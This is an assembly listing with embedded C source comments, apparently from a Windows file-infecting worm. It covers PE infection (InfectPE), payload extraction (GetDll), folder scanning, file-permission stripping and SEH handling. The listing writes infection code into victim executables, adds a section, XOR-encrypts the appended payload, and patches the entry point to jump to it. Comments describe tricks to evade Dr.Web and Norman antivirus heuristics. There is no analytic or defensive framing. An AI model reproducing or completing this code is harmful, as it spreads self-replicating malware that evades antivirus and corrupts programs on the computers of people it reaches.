;  546 		// old: unsigned char *ep_code   = (LPSTR)(pe->imagebase + pe->entrypointrva);  
	.line	546
	andl	$0,156(%eax)
;  547 
	.line	547
;  548 		//@S
;  549 		upx_sect = (LPSTR)(/*@S+*/pe->imagebase + lastsect->virtrva/*@E*/);  // UPX0
;  550 		my_strcpy(SECTNAME,lastsect->name); // save section name - we'll use it for infecting files
;  551 		//@E
	.line	551
;  552 
;  553 		//@S
	.line	553
_$761:
;  554 		SECTNAME[8]=0; // not more than 8 chars len
;  555 		ep_code   = (LPSTR)(/*@S+*/pe->imagebase + GetVictimEP()/*@E*/);  
;  556 
;  557 		upx_sect=(LPSTR)fool_drweb((DWORD)upx_sect); // dr.web anti-heur (takes about 0.12 sec)
	.line	557
	cmpl	$0,-176(%ebp)
	je	_$778
	movl	-44(%ebp),%eax
	addl	-484(%ebp),%eax
	movl	%eax,-144(%ebp)
_$778:
;  558 				
;  559 		//@E
;  560 		_VirtualProtect(ep_code, szinfcode, PAGE_EXECUTE_READWRITE, &old_prot);
;  561 
;  562 	 next:;
;  563 	    {
;  564 			DWORD antinorm2_trash, antinorm1_trash=555; //@S 
;  565 			b = upx_sect[q];             //@E //anti Norman, old: ep_code[q]=upx_sect[q];
;  566 			ep_code[q]=b;              //@S //
;  567 			antinorm2_trash=666; //@E 
	.line	567
	pushl	-456(%ebp)
	pushl	-36(%ebp)
	call	_align
	addl	$8,%esp
	movl	%eax,-36(%ebp)
;  568 			q++;
;  569 		}
;  570 		if (q < szinfcode) goto next;
;  571 	}
;  572 	
;  573 	//--- asm block: peredelka vlechet izmenenie _peinf.c v bloke: --- set 'jmp EP' at the end of LibMain
;  574 
;  575   #ifdef _MSC_VER
;  576 	_asm
;  577 	{
;  578 		_emit 0xC9
	.line	578
	movl	-44(%ebp),%eax
	cmpl	%eax,-144(%ebp)
	je	_$780
	movl	-16(%ebp),%eax
	cmpl	$0,168(%eax)
	je	_$709
;  579 		_emit 0x61
;  580 		_emit 0xE9; _emit 0x00; _emit 0x00; _emit 0x00; _emit 0x00
;  581 	}
;  582   #else
;  583    _asm
	.line	583
_$780:
;  584    (
;  585   		".byte 0xC9                      \n"  //  leave
;  586   		".byte 0x61                      \n"  //  popad
;  587   		".byte 0xE9,0x00,0x00,0x00,0x00  \n"  //  jmp orig_EP    
;  588   		".byte 0xC3                      \n"  //  retn - NOT USED, JUST SIGNATURE FOR SEARCH
	.line	588
	cmpl	$0,-176(%ebp)
	je	_$782
	cmpl	$17,-250516(%ebp)
	jae	_$782
	cmpl	$0,-164(%ebp)
	jne	_$782
;  589    );
;  590   #endif
;  591 
;  592  #endif /* EXEFILE */ 
;  593 }
;  594 
;  595 #ifdef _MSC_VER
;  596 	#pragma optimize("", off)
;  597 #else
;  598 	#pragma optimize(off)
	.line	598
	pushl	-496(%ebp)
	pushl	-144(%ebp)
	call	_align
	addl	$8,%esp
	movl	%eax,-460(%ebp)
;  599 #endif
	.line	600
	movl	$7,-12(%ebp)
_$784:
	movl	-460(%ebp),%eax
	addl	-12(%ebp),%eax
	movzbl	(%ebx,%eax),%eax
	cmpl	$233,%eax
	je	_$786
_$788:
	incl	-12(%ebp)
	cmpl	$50,-12(%ebp)
	jb 	_$784
_$786:
	.line	606
	cmpl	$50,-12(%ebp)
	je	_$709
_$790:
	.line	608
	movl	-460(%ebp),%eax
	movl	-12(%ebp),%edx
	leal	1(%eax,%edx),%eax
	movl	(%ebx,%eax),%eax
	movl	%eax,-250532(%ebp)
	.line	609
	movl	-16(%ebp),%eax
	movl	52(%eax),%edx
	addl	40(%eax),%edx
	movl	%edx,%eax
	addl	-12(%ebp),%eax
	movl	%eax,-250528(%ebp)
	.line	610
	movl	-250532(%ebp),%eax
	subl	$0xffffffff,%eax
	movl	-250528(%ebp),%edx
	leal	4(%eax,%edx),%eax
	movl	%eax,-250520(%ebp)
	.line	622
	movl	-16(%ebp),%eax
	movl	-250520(%ebp),%edx
	subl	52(%eax),%edx
	movl	%edx,40(%eax)
	.line	623
	movl	-250520(%ebp),%eax
	movl	-16(%ebp),%edx
	subl	52(%edx),%eax
	movl	%eax,-28(%ebp)
	.line	635
	jmp	_$744
_$782:
	.line	640
	cmpl	$0,-176(%ebp)
	je	_$792
	cmpl	$17,-250516(%ebp)
	jb 	_$792
	.line	642
	pushl	-496(%ebp)
	pushl	-456(%ebp)
	pushl	-164(%ebp)
	pushl	-250568(%ebp)
	pushl	-144(%ebp)
	pushl	%ebx
	pushl	8(%ebp)
	call	_ReinfectSince17
	addl	$28,%esp
	movl	%eax,-250572(%ebp)
	.line	643
	test	%eax,%eax
	je	_$709
_$794:
	.line	644
_$792:
	.line	658
	andl	$0,-188(%ebp)
	.line	660
	andl	$0,-4(%ebp)
	jmp	_$799
_$796:
	.line	664
	movl	-40(%ebp),%eax
	addl	-4(%ebp),%eax
	addl	%ebx,%eax
	movl	%eax,-250832(%ebp)
	.line	665
	cmpl	$0,(,%eax)
	je	_$798
_$800:
	.line	667
	movl	-250832(%ebp),%eax
	movl	12(%eax),%eax
	subl	-24(%ebp),%eax
	addl	-40(%ebp),%eax
	movl	%eax,-250836(%ebp)
	.line	670
	addl	%ebx,%eax
	pushl	%eax
	leal	-250827(%ebp),%eax
	pushl	%eax
	call	_my_strcpy
	addl	$8,%esp
	.line	676
	andl	$0,-250572(%ebp)
	jmp	_$805
_$802:
	.line	677
	movl	-250572(%ebp),%eax
	movb	-250827(%ebp,%eax),%al
	cmpb	$97,%al
	jle	_$806
	cmpb	$122,%al
	jge	_$806
	movl	-250572(%ebp),%eax
	leal	-250827(%ebp,%eax),%eax
	subb	$32,(,%eax)
_$806:
	.line	676
	incl	-250572(%ebp)
_$805:
	movl	-250572(%ebp),%eax
	cmpb	$0,-250827(%ebp,%eax)
	jne	_$802
	.line	679
	cmpb	$75,-250827(%ebp)
	jne	_$808
	cmpb	$69,-250826(%ebp)
	jne	_$808
	cmpb	$82,-250825(%ebp)
	jne	_$808
	cmpb	$76,-250822(%ebp)
	jne	_$808
	cmpb	$51,-250821(%ebp)
	jne	_$808
	cmpb	$50,-250820(%ebp)
	jne	_$808
	movl	$1,-188(%ebp)
_$808:
	.line	684
	.line	660
	addl	$20,-4(%ebp)
_$799:
	movl	-16(%ebp),%eax
	movl	132(%eax),%eax
	cmpl	%eax,-4(%ebp)
	jb 	_$796
_$798:
	.line	686
	cmpl	$0,-188(%ebp)
	je	_$709
_$815:
	.line	691
	movl	-16(%ebp),%eax
	orw	$1,22(%eax)
	.line	692
	cmpw	$0,94(%eax)
	je	_$817
	addl	$94,%eax
	movzwl	(,%eax),%edx
	xorl	$64,%edx
	movw	%dx,(,%eax)
_$817:
	.line	696
	movl	_szinfcode,%eax
	leal	-250496(%ebp,%eax),%eax
	movl	%eax,-32(%ebp)
	.line	697
	movl	60(%eax),%eax
	movl	%eax,-48(%ebp)
	.line	698
	addl	-32(%ebp),%eax
	movl	%eax,-140(%ebp)
	.line	700
	cmpl	$0,-176(%ebp)
	jne	_$821
_$819:
	.line	704
	movl	-16(%ebp),%eax
	cmpl	$0,208(%eax)
	je	_$821
	cmpl	$0,212(%eax)
	je	_$821
	movl	-184(%ebp),%edx
	cmpl	%edx,84(%eax)
	jbe	_$821
	.line	712
	movl	-136(%ebp),%eax
	addl	$248,%eax
	movl	-16(%ebp),%edx
	movzwl	6(%edx),%edx
	imul	$40,%edx,%edx
	addl	%edx,%eax
	movl	%eax,-250572(%ebp)
	.line	713
	addl	$40,%eax
	movl	%eax,-250576(%ebp)
	.line	720
	movl	-16(%ebp),%eax
	pushl	212(%eax)
	movl	-250572(%ebp),%eax
	addl	%ebx,%eax
	pushl	%eax
	movl	-250576(%ebp),%eax
	addl	%ebx,%eax
	pushl	%eax
	call	*__memcpy
	addl	$12,%esp
	.line	721
	movl	-16(%ebp),%eax
	addl	$208,%eax
	addl	$40,(,%eax)
	.line	726
_$821:
	.line	728
	pushl	-496(%ebp)
	pushl	-144(%ebp)
	call	_align
	movl	%eax,-144(%ebp)
	.line	736
	pushl	$4096
	movl	_dll_len,%eax
	addl	_szinfcode,%eax
	pushl	%eax
	call	_align
	addl	$16,%esp
	movl	%eax,-250500(%ebp)
	.line	738
	movl	-16(%ebp),%eax
	movzwl	6(%eax),%eax
	imul	$40,%eax,%eax
	movl	-136(%ebp),%edx
	leal	248(%edx,%ebx),%edx
	movl	%eax,%esi
	addl	%edx,%esi
	.line	746
	cmpb	$0,_SECTNAME
	jne	_$824
	pushl	$_$826
	pushl	%esi
	call	_my_strcpy
	addl	$8,%esp
	jmp	_$825
_$824:
	pushl	$_SECTNAME
	pushl	%esi
	call	_my_strcpy
	addl	$8,%esp
_$825:
	.line	747
	pushl	$12
	pushl	$0
	movl	%esi,%eax
	addl	$24,%eax
	pushl	%eax
	call	*__memset
	.line	748
	movl	-250500(%ebp),%eax
	movl	%eax,8(%esi)
	.line	749
	movl	-36(%ebp),%eax
	movl	%eax,12(%esi)
	.line	750
	movl	-250500(%ebp),%eax
	movl	%eax,16(%esi)
	.line	751
	movl	-144(%ebp),%eax
	movl	%eax,20(%esi)
	.line	752
	movl	$0xe0000000,36(%esi)
	.line	761
	pushl	-496(%ebp)
	movl	-144(%ebp),%eax
	addl	16(%esi),%eax
	pushl	%eax
	call	_align
	movl	%eax,-144(%ebp)
	.line	762
	movl	-250500(%ebp),%eax
	addl	%eax,-36(%ebp)
	.line	763
	pushl	-456(%ebp)
	pushl	-36(%ebp)
	call	_align
	movl	%eax,-36(%ebp)
	.line	764
	movl	-16(%ebp),%eax
	addl	$6,%eax
	incw	(,%eax)
	.line	765
	pushl	-456(%ebp)
	movl	12(%esi),%eax
	addl	8(%esi),%eax
	pushl	%eax
	call	_align
	addl	$36,%esp
	movl	-16(%ebp),%edx
	movl	%eax,80(%edx)
	.line	774
	call	*__rand
	movl	%eax,%edi
	movl	$253,%ecx
	cdq
	idivl	%ecx
	movl	%edx,%edi
	incl	%edi
	movl	%di,%dx
	movb	%dl,-17(%ebp)
	.line	776
	movl	-32(%ebp),%edi
	movl	_dll_len,%edx
	shrl	$12,%edx
	movb	%dl,1(%edi)
	.line	777
	movl	%edi,%eax
	movzbl	-17(%ebp),%edx
	xorl	$77,%edx
	movb	%dl,(,%eax)
	.line	778
	movl	%edi,%eax
	cmpb	$10,1(%eax)
	jle	_$827
	call	*__rand
	movl	%eax,%edi
	movl	-32(%ebp),%edx
	incl	%edx
	movl	%edx,-250580(%ebp)
	movsbl	(,%edx),%ecx
	movl	%ecx,-250572(%ebp)
	movl	%edi,%eax
	movl	%eax,-250576(%ebp)
	movl	$10,%ecx
	cdq
	idivl	%ecx
	movl	-250572(%ebp),%edi
	subl	%edx,%edi
	movl	%di,%dx
	movl	-250580(%ebp),%edi
	movb	%dl,(,%edi)
_$827:
	.line	780
	movl	-32(%ebp),%eax
	movl	_dll_len,%edi
	movsbl	1(%eax),%edx
	sall	$12,%edx
	subl	%edx,%edi
	shrl	$9,%edi
	movl	%di,%dx
	movb	%dl,2(%eax)
	.line	784
	movb	_VIRULENCE,%al
	cmpb	$51,%al
	jae	_$829
	call	*__rand
	movl	%eax,%edi
	movl	-32(%ebp),%edx
	movl	%edx,-250588(%ebp)
	movl	%edi,%eax
	movl	%eax,-250584(%ebp)
	movl	$50,%ecx
	cdq
	idivl	%ecx
	movl	-250588(%ebp),%edi
	movb	%dl,64(%edi)
	jmp	_$830
_$829:
	movl	-32(%ebp),%eax
	movzbl	_VIRULENCE,%edx
	movb	%dl,64(%eax)
_$830:
	.line	790
	movl	-32(%ebp),%eax
	movl	-16(%ebp),%edx
	movl	40(%edx),%edx
	movl	%edx,65(%eax)
	.line	794
	movl	$69,-12(%ebp)
	jmp	_$834
_$831:
	.line	795
	call	*__rand
	movl	%eax,%edi
	movl	-12(%ebp),%edx
	movl	%edx,-250600(%ebp)
	movl	-32(%ebp),%ecx
	movl	%ecx,-250592(%ebp)
	movl	%edi,%eax
	movl	%eax,-250596(%ebp)
	movl	$255,%ecx
	cdq
	idivl	%ecx
	movl	-250592(%ebp),%edi
	movl	-250600(%ebp),%ecx
	movb	%dl,(%edi,%ecx)
	.line	794
	incl	-12(%ebp)
_$834:
	movl	-48(%ebp),%eax
	addl	$2,%eax
	cmpl	%eax,-12(%ebp)
	jb 	_$831
	.line	800
	pushl	_szinfcode
	movl	-164(%ebp),%eax
	addl	%ebx,%eax
	pushl	%eax
	leal	-250496(%ebp),%eax
	pushl	%eax
	call	*__memcpy
	.line	801
	movl	_dll_len,%eax
	addl	_szinfcode,%eax
	pushl	%eax
	leal	-250496(%ebp),%eax
	pushl	%eax
	movl	20(%esi),%eax
	addl	%ebx,%eax
	pushl	%eax
	call	*__memcpy
	addl	$24,%esp
	.line	815
	movl	20(%esi),%eax
	addl	_szinfcode,%eax
	movl	%eax,-250536(%ebp)
	.line	816
	addl	$3,%eax
	movl	%eax,-160(%ebp)
	.line	822
	movl	%eax,-12(%ebp)
	jmp	_$838
_$835:
	movl	-12(%ebp),%eax
	addl	%ebx,%eax
	movzbl	(,%eax),%edx
	movzbl	-17(%ebp),%ecx
	xorl	%ecx,%edx
	movb	%dl,(,%eax)
	incl	-12(%ebp)
_$838:
	movl	-160(%ebp),%eax
	addl	_dll_len,%eax
	cmpl	%eax,-12(%ebp)
	jb 	_$835
	.line	830
	andl	$0,-4(%ebp)
	jmp	_$842
_$839:
	.line	832
	movl	$40,%eax
	mull	-4(%ebp)
	movl	%eax,-250604(%ebp)
	movl	-48(%ebp),%eax
	movl	-32(%ebp),%edx
	leal	248(%eax,%edx),%eax
	movl	-250604(%ebp),%edx
	addl	%eax,%edx
	movl	%edx,-8(%ebp)
	.line	842
	movl	%edx,%eax
	cmpb	$101,1(%eax)
	jne	_$843
	.line	844
	movl	20(%edx),%eax
	movl	%eax,-192(%ebp)
	.line	845
	movl	12(%edx),%eax
	movl	%eax,-468(%ebp)
	.line	850
	jmp	_$840
_$843:
	.line	854
	movl	-8(%ebp),%eax
	cmpb	$116,1(%eax)
	jne	_$845
	.line	856
	movl	12(%eax),%ecx
	movl	%ecx,-172(%ebp)
	.line	857
	movl	8(%eax),%edx
	movl	%edx,-488(%ebp)
	.line	858
	movl	20(%eax),%eax
	movl	%eax,-196(%ebp)
	.line	859
	movl	-8(%ebp),%eax
	movl	16(%eax),%eax
	movl	%eax,-132(%ebp)
	.line	864
	jmp	_$840
_$845:
	.line	868
	movl	-8(%ebp),%eax
	cmpb	$100,1(%eax)
	jne	_$847
	.line	870
	movl	12(%eax),%ecx
	movl	%ecx,-180(%ebp)
	.line	871
	movl	8(%eax),%edx
	movl	%edx,-480(%ebp)
	.line	872
	movl	20(%eax),%eax
	movl	%eax,-472(%ebp)
	.line	873
	movl	-8(%ebp),%eax
	movl	16(%eax),%eax
	movl	%eax,-476(%ebp)
	.line	878
	jmp	_$840
_$847:
	.line	881
	movl	-8(%ebp),%eax
	cmpb	$114,1(%eax)
	jne	_$840
	.line	883
	movl	20(%eax),%eax
	movl	%eax,-464(%ebp)
	.line	888
	.line	892
_$840:
	.line	830
	incl	-4(%ebp)
_$842:
	movl	-140(%ebp),%eax
	movzwl	6(%eax),%eax
	cmpl	%eax,-4(%ebp)
	jb 	_$839
	.line	897
	cmpl	$0,-176(%ebp)
	jne	_$851
	.line	899
	movl	-16(%ebp),%eax
	addl	$96,%eax
	movl	-140(%ebp),%edx
	movl	96(%edx),%edx
	addl	%edx,(,%eax)
	.line	900
	movl	-16(%ebp),%eax
	addl	$104,%eax
	movl	-140(%ebp),%edx
	movl	104(%edx),%edx
	addl	%edx,(,%eax)
_$851:
	.line	905
	movl	-16(%ebp),%eax
	movw	$13,68(%eax)
	.line	906
	movb	$8,26(%eax)
	.line	907
	movw	$23,70(%eax)
	.line	911
	movl	-192(%ebp),%eax
	addl	-32(%ebp),%eax
	movl	%eax,-250544(%ebp)
	.line	912
	movl	-192(%ebp),%eax
	movl	-250544(%ebp),%edx
	addl	28(%edx),%eax
	subl	-468(%ebp),%eax
	movl	%eax,-250548(%ebp)
	.line	914
	addl	-32(%ebp),%eax
	movl	%eax,-250552(%ebp)
	.line	915
	movl	(,%eax),%eax
	movl	%eax,-250556(%ebp)
	.line	919
	subl	-172(%ebp),%eax
	movl	%eax,-250560(%ebp)
	.line	928
	movl	12(%esi),%eax
	movl	-16(%ebp),%edx
	addl	52(%edx),%eax
	addl	_szinfcode,%eax
	movl	%eax,-492(%ebp)
	.line	929
	addl	-464(%ebp),%eax
	movl	%eax,-250540(%ebp)
	.line	930
	movl	52(%edx),%eax
	addl	-36(%ebp),%eax
	movl	%eax,-250504(%ebp)
	.line	934
	movl	-492(%ebp),%eax
	movl	%eax,-128(%ebp)
	.line	936
	addl	-196(%ebp),%eax
	movl	%eax,-124(%ebp)
	.line	937
	movl	-132(%ebp),%eax
	movl	%eax,-120(%ebp)
	.line	938
	movl	-250504(%ebp),%eax
	movl	%eax,-116(%ebp)
	.line	940
	movl	-492(%ebp),%eax
	addl	-472(%ebp),%eax
	movl	%eax,-112(%ebp)
	.line	941
	movl	-476(%ebp),%eax
	movl	%eax,-108(%ebp)
	.line	942
	movl	-250504(%ebp),%eax
	addl	-180(%ebp),%eax
	subl	-172(%ebp),%eax
	movl	%eax,-104(%ebp)
	.line	944
	movl	-250540(%ebp),%eax
	movl	%eax,-100(%ebp)
	.line	945
	movl	52(%edx),%eax
	movl	%eax,-96(%ebp)
	.line	946
	movl	-140(%ebp),%eax
	movl	52(%eax),%eax
	movl	%eax,-92(%ebp)
	.line	947
	movl	-250540(%ebp),%eax
	movl	-140(%ebp),%edx
	addl	164(%edx),%eax
	movl	%eax,-88(%ebp)
	.line	949
	movl	-172(%ebp),%eax
	movl	%eax,-84(%ebp)
	.line	950
	movl	-180(%ebp),%eax
	movl	%eax,-80(%ebp)
	.line	951
	movl	_dll_len,%eax
	movl	%eax,-76(%ebp)
	.line	952
	call	*__rand
	movl	%eax,%edi
	call	*__rand
	movl	%eax,-250604(%ebp)
	call	*__rand
	movl	%eax,%edx
	movl	%edx,-250612(%ebp)
	movl	%edi,%eax
	movl	%eax,-250608(%ebp)
	movl	$255,%ecx
	cdq
	idivl	%ecx
	movl	%edx,%edi
	sall	$24,%edi
	movl	-250604(%ebp),%edx
	movl	%edx,%eax
	movl	$255,%ecx
	cdq
	idivl	%ecx
	sall	$16,%edx
	addl	%edx,%edi
	movl	-250612(%ebp),%edx
	movl	%edx,%eax
	movl	$255,%ecx
	cdq
	idivl	%ecx
	sall	$8,%edx
	addl	%edx,%edi
	movzbl	-17(%ebp),%edx
	addl	%edx,%edi
	movl	%edi,-72(%ebp)
	.line	954
	movl	-250504(%ebp),%eax
	addl	-250560(%ebp),%eax
	movl	%eax,-250564(%ebp)
	.line	963
	pushl	$4096
	pushl	-480(%ebp)
	call	_align
	movl	-180(%ebp),%edx
	subl	-172(%ebp),%edx
	leal	4096(%edx,%eax),%edi
	movl	%edi,-250508(%ebp)
	.line	965
	movl	%edi,%eax
	addl	%eax,-36(%ebp)
	.line	966
	movl	-16(%ebp),%eax
	addl	$80,%eax
	movl	%edi,%edx
	addl	%edx,(,%eax)
	.line	967
	movl	%edi,%eax
	addl	%eax,8(%esi)
	.line	969
	pushl	-456(%ebp)
	pushl	-36(%ebp)
	call	_align
	movl	%eax,-36(%ebp)
	.line	970
	pushl	-456(%ebp)
	movl	-16(%ebp),%eax
	movl	%eax,-250616(%ebp)
	pushl	80(%eax)
	call	_align
	movl	-250616(%ebp),%edx
	movl	%eax,80(%edx)
	.line	1000
	pushl	-28(%ebp)
	pushl	-250564(%ebp)
	leal	-128(%ebp),%eax
	pushl	%eax
	movl	-164(%ebp),%eax
	addl	%ebx,%eax
	pushl	%eax
	call	_WriteOrGetLen_C_CODE
	addl	$40,%esp
	.line	1004
	movl	-250536(%ebp),%eax
	addl	-196(%ebp),%eax
	movl	%eax,-152(%ebp)
	.line	1011
	andl	$0,-156(%ebp)
	.line	1018
	movl	%eax,-4(%ebp)
	jmp	_$870
_$867:
	.line	1021
	movl	-4(%ebp),%eax
	movzbl	(%ebx,%eax),%eax
	movzbl	-17(%ebp),%edx
	xorl	%edx,%eax
	movb	%al,-250617(%ebp)
	.line	1022
	movl	-4(%ebp),%eax
	incl	%eax
	movzbl	(%ebx,%eax),%eax
	movzbl	-17(%ebp),%edx
	xorl	%edx,%eax
	movb	%al,-250618(%ebp)
	.line	1023
	movl	-4(%ebp),%eax
	addl	$2,%eax
	movzbl	(%ebx,%eax),%eax
	movzbl	-17(%ebp),%edx
	xorl	%edx,%eax
	movb	%al,-250619(%ebp)
	.line	1024
	movl	-4(%ebp),%eax
	addl	$7,%eax
	movzbl	(%ebx,%eax),%eax
	movzbl	-17(%ebp),%edx
	xorl	%edx,%eax
	movb	%al,-250620(%ebp)
	.line	1026
	movzbl	-250617(%ebp),%eax
	cmpl	$201,%eax
	jne	_$871
	cmpb	$97,-250618(%ebp)
	jne	_$871
	movzbl	-250619(%ebp),%eax
	cmpl	$233,%eax
	jne	_$871
	movzbl	-250620(%ebp),%eax
	cmpl	$195,%eax
	jne	_$871
	.line	1027
	movl	-4(%ebp),%eax
	addl	$2,%eax
	movl	%eax,-156(%ebp)
	jmp	_$869
_$871:
	.line	1028
	.line	1018
	incl	-4(%ebp)
_$870:
	movl	-152(%ebp),%eax
	addl	-132(%ebp),%eax
	cmpl	%eax,-4(%ebp)
	jb 	_$867
_$869:
	.line	1030
	cmpl	$0,-156(%ebp)
	je	_$709
_$873:
	.line	1036
	movl	-116(%ebp),%eax
	addl	-156(%ebp),%eax
	subl	-152(%ebp),%eax
	movl	%eax,-250528(%ebp)
	.line	1037
	movl	-16(%ebp),%eax
	movl	52(%eax),%eax
	addl	-28(%ebp),%eax
	movl	%eax,-250520(%ebp)
	.line	1042
	movl	$0xfffffffe,%ecx
	subl	-250528(%ebp),%ecx
	addl	%eax,%ecx
	subl	$3,%ecx
	movl	%ecx,-250532(%ebp)
	.line	1048
	movl	-156(%ebp),%eax
	incl	%eax
	movl	%ecx,%edx
	movl	%edx,(%ebx,%eax)
	.line	1050
	movl	-156(%ebp),%eax
	incl	%eax
	addl	%ebx,%eax
	movzbl	(,%eax),%edx
	movzbl	-17(%ebp),%ecx
	xorl	%ecx,%edx
	movb	%dl,(,%eax)
	.line	1051
	movl	-156(%ebp),%eax
	addl	$2,%eax
	addl	%ebx,%eax
	movzbl	(,%eax),%edx
	movzbl	-17(%ebp),%ecx
	xorl	%ecx,%edx
	movb	%dl,(,%eax)
	.line	1052
	movl	-156(%ebp),%eax
	addl	$3,%eax
	addl	%ebx,%eax
	movzbl	(,%eax),%edx
	movzbl	-17(%ebp),%ecx
	xorl	%ecx,%edx
	movb	%dl,(,%eax)
	.line	1053
	movl	-156(%ebp),%eax
	addl	$4,%eax
	addl	%ebx,%eax
	movzbl	(,%eax),%edx
	movzbl	-17(%ebp),%ecx
	xorl	%ecx,%edx
	movb	%dl,(,%eax)
	.line	1059
	pushl	-168(%ebp)
	call	*__CloseHandle
	.line	1061
	pushl	8(%ebp)
	leal	-451(%ebp),%eax
	pushl	%eax
	call	_my_strcpy
	addl	$8,%esp
	.line	1062
	movl	8(%ebp),%eax
	movl	%eax,%ecx
	orl	$-1,%eax
_$strlen4:
	inc	%eax
	cmpb	$0,(%ecx,%eax)
	jnz	_$strlen4
	movl	%eax,-250512(%ebp)
	.line	1064
	movl	-250512(%ebp),%eax
	subl	$3,%eax
	movb	$118,-451(%ebp,%eax)
	.line	1065
	movl	-250512(%ebp),%eax
	subl	$2,%eax
	movb	$105,-451(%ebp,%eax)
	.line	1066
	movl	-250512(%ebp),%eax
	subl	$1,%eax
	movb	$114,-451(%ebp,%eax)
	.line	1068
	pushl	$0
	pushl	$0
	pushl	$2
	pushl	$0
	pushl	$0
	pushl	$0x40000000
	leal	-451(%ebp),%eax
	pushl	%eax
	call	*__CreateFile
	movl	%eax,-168(%ebp)
	.line	1069
	pushl	$0
	leal	-4(%ebp),%eax
	pushl	%eax
	pushl	-144(%ebp)
	pushl	%ebx
	pushl	-168(%ebp)
	call	*__WriteFile
	.line	1079
	pushl	-168(%ebp)
	call	*__CloseHandle
	.line	1080
	pushl	%ebx
	call	*__LocalFree
	.line	1090
	pushl	$0
	pushl	8(%ebp)
	leal	-451(%ebp),%eax
	pushl	%eax
	call	*__CopyFile
	.line	1091
	leal	-451(%ebp),%eax
	pushl	%eax
	call	*__DeleteFile
	.line	1094
	movl	$1,%eax
	jmp	_$701
_$709:
	.line	1103
	pushl	-168(%ebp)
	call	*__CloseHandle
	.line	1104
	or	%ebx,%ebx
	je	_$878
	pushl	%ebx
	call	*__LocalFree
_$878:
	.line	1105
	xor	%eax,%eax
_$701:
	.line	1106
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$963:
	.size	_InfectPE,_$963-_InfectPE
	.globl	_InfectPE
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_infect1\_getdll.c"
_$M150:
	.type	_GetDll,function
_GetDll:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ecx
	pushl	%eax
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	9
	.line	10
	movl	$0,-4(%ebp)
	.line	11
	movl	_szinfcode,%edi
	addl	_upx_sect,%edi
	movl	%edi,-8(%ebp)
	.line	13
	movl	-8(%ebp),%edi
	movzbl	1(%edi),%edi
	sall	$12,%edi
	addl	%edi,-4(%ebp)
	.line	14
	movl	-8(%ebp),%edi
	movzbl	2(%edi),%edi
	sall	$9,%edi
	addl	%edi,-4(%ebp)
	.line	16
	movl	8(%ebp),%edi
	movl	-4(%ebp),%esi
	movl	%esi,(,%edi)
	.line	17
	movl	-8(%ebp),%edi
	movb	64(%edi),%bl
	movb	%bl,_VIRULENCE
	.line	24
	movl	-8(%ebp),%eax
_$964:
	.line	25
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$965:
	.size	_GetDll,_$965-_GetDll
	.globl	_GetDll
	.type	_GetVictimEP,function
_GetVictimEP:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ecx
	pushl	%eax
	pushl	%edi
	.line	31
	.line	32
	movl	_szinfcode,%edi
	addl	_upx_sect,%edi
	movl	%edi,-4(%ebp)
	.line	33
	movl	-4(%ebp),%edi
	movl	65(%edi),%edi
	movl	%edi,-8(%ebp)
	.line	35
	movl	-8(%ebp),%eax
_$966:
	.line	36
	popl	%edi
	leave
	ret
_$967:
	.size	_GetVictimEP,_$967-_GetVictimEP
	.globl	_GetVictimEP
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_infect2\_softfind.c"
_$M151:
; sf --> %edi
	.type	_softfind_CSIDL,function
_softfind_CSIDL:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$260,%esp
	pushl	%edi
	.line	3
	.line	7
	leal	-260(%ebp),%eax
	pushl	%eax
	pushl	$0
	pushl	$0
	pushl	8(%ebp)
	pushl	$0
	call	*__SHGetFolderPath
	movl	%eax,%edi
	.line	8
	or	%edi,%edi
	jne	_$968
_$969:
	.line	10
	pushl	$_$971
	leal	-260(%ebp),%eax
	pushl	%eax
	call	*__strcat
	.line	16
	pushl	$1
	pushl	$67
	leal	-260(%ebp),%eax
	pushl	%eax
	call	_rscan
	addl	$20,%esp
_$968:
	.line	17
	popl	%edi
	leave
	ret
_$974:
	.size	_softfind_CSIDL,_$974-_softfind_CSIDL
	.globl	_softfind_CSIDL
	.type	_softfind,function
_softfind:
	.line	20
	.line	21
	pushl	$2
	call	_softfind_CSIDL
	.line	22
	pushl	$0
	call	_softfind_CSIDL
	addl	$8,%esp
	.line	23
	ret
_$976:
	.size	_softfind,_$976-_softfind
	.globl	_softfind
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_infect2\_fileown.c"
_$M152:
; fname --> %edi
	.type	_UnprotectFile,function
_UnprotectFile:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ecx
	pushl	%eax
	pushl	%edi
	.line	7
	movl	8(%ebp),%edi
	.line	10
	call	_isSystemNT
	or	%eax,%eax
	je	_$977
	.line	11
_$978:
	.line	13
	pushl	_sdsc2
	pushl	$1
	pushl	%edi
	call	*__SetFileSecurity
	movl	%eax,-4(%ebp)
	.line	14
	pushl	_sdsc2
	pushl	$4
	pushl	%edi
	call	*__SetFileSecurity
	movl	%eax,-8(%ebp)
_$977:
	.line	19
	popl	%edi
	leave
	ret
_$983:
	.size	_UnprotectFile,_$983-_UnprotectFile
	.globl	_UnprotectFile
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_infect2\_rscan.c"
_$M153:
	.type	_rscanSehHandler,function
_rscanSehHandler:
	.line	16
.byte 0x55                    
.byte 0x89,0xE5               
.byte 0x60                    
.byte 0x8B,0x75,0x10          
movl $_rscanSehSafeCode,%eax
.byte 0x89,0x86,0xB8,0,0,0    
.byte 0x8B,0x45,0x0C          
.byte 0x89,0x86,0xC4,0,0,0    
.byte 0x61                    
.byte 0x89,0xEC               
.byte 0x5D                    
.byte 0x31,0xC0               
.byte 0xC3                    

	.line	73
	.line	75
	ret
_$985:
	.size	_rscanSehHandler,_$985-_rscanSehHandler
	.globl	_rscanSehHandler
	.type	_rscanSehSafeCode,function
_rscanSehSafeCode:
	.line	80
	.line	81
	pushl	$1
	call	*__ExitThread
	.line	82
	ret
_$987:
	.size	_rscanSehSafeCode,_$987-_rscanSehSafeCode
	.globl	_rscanSehSafeCode
; l --> %edi
; l --> %edi
; r --> %esi
	.type	_ProcessLNK,function
_ProcessLNK:
	pushl	%ebp
	movl	%esp,%ebp
	.extern	__stackprobe
	movl	$73996,%eax
	call	__stackprobe
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	87
	.line	97
	pushl	8(%ebp)
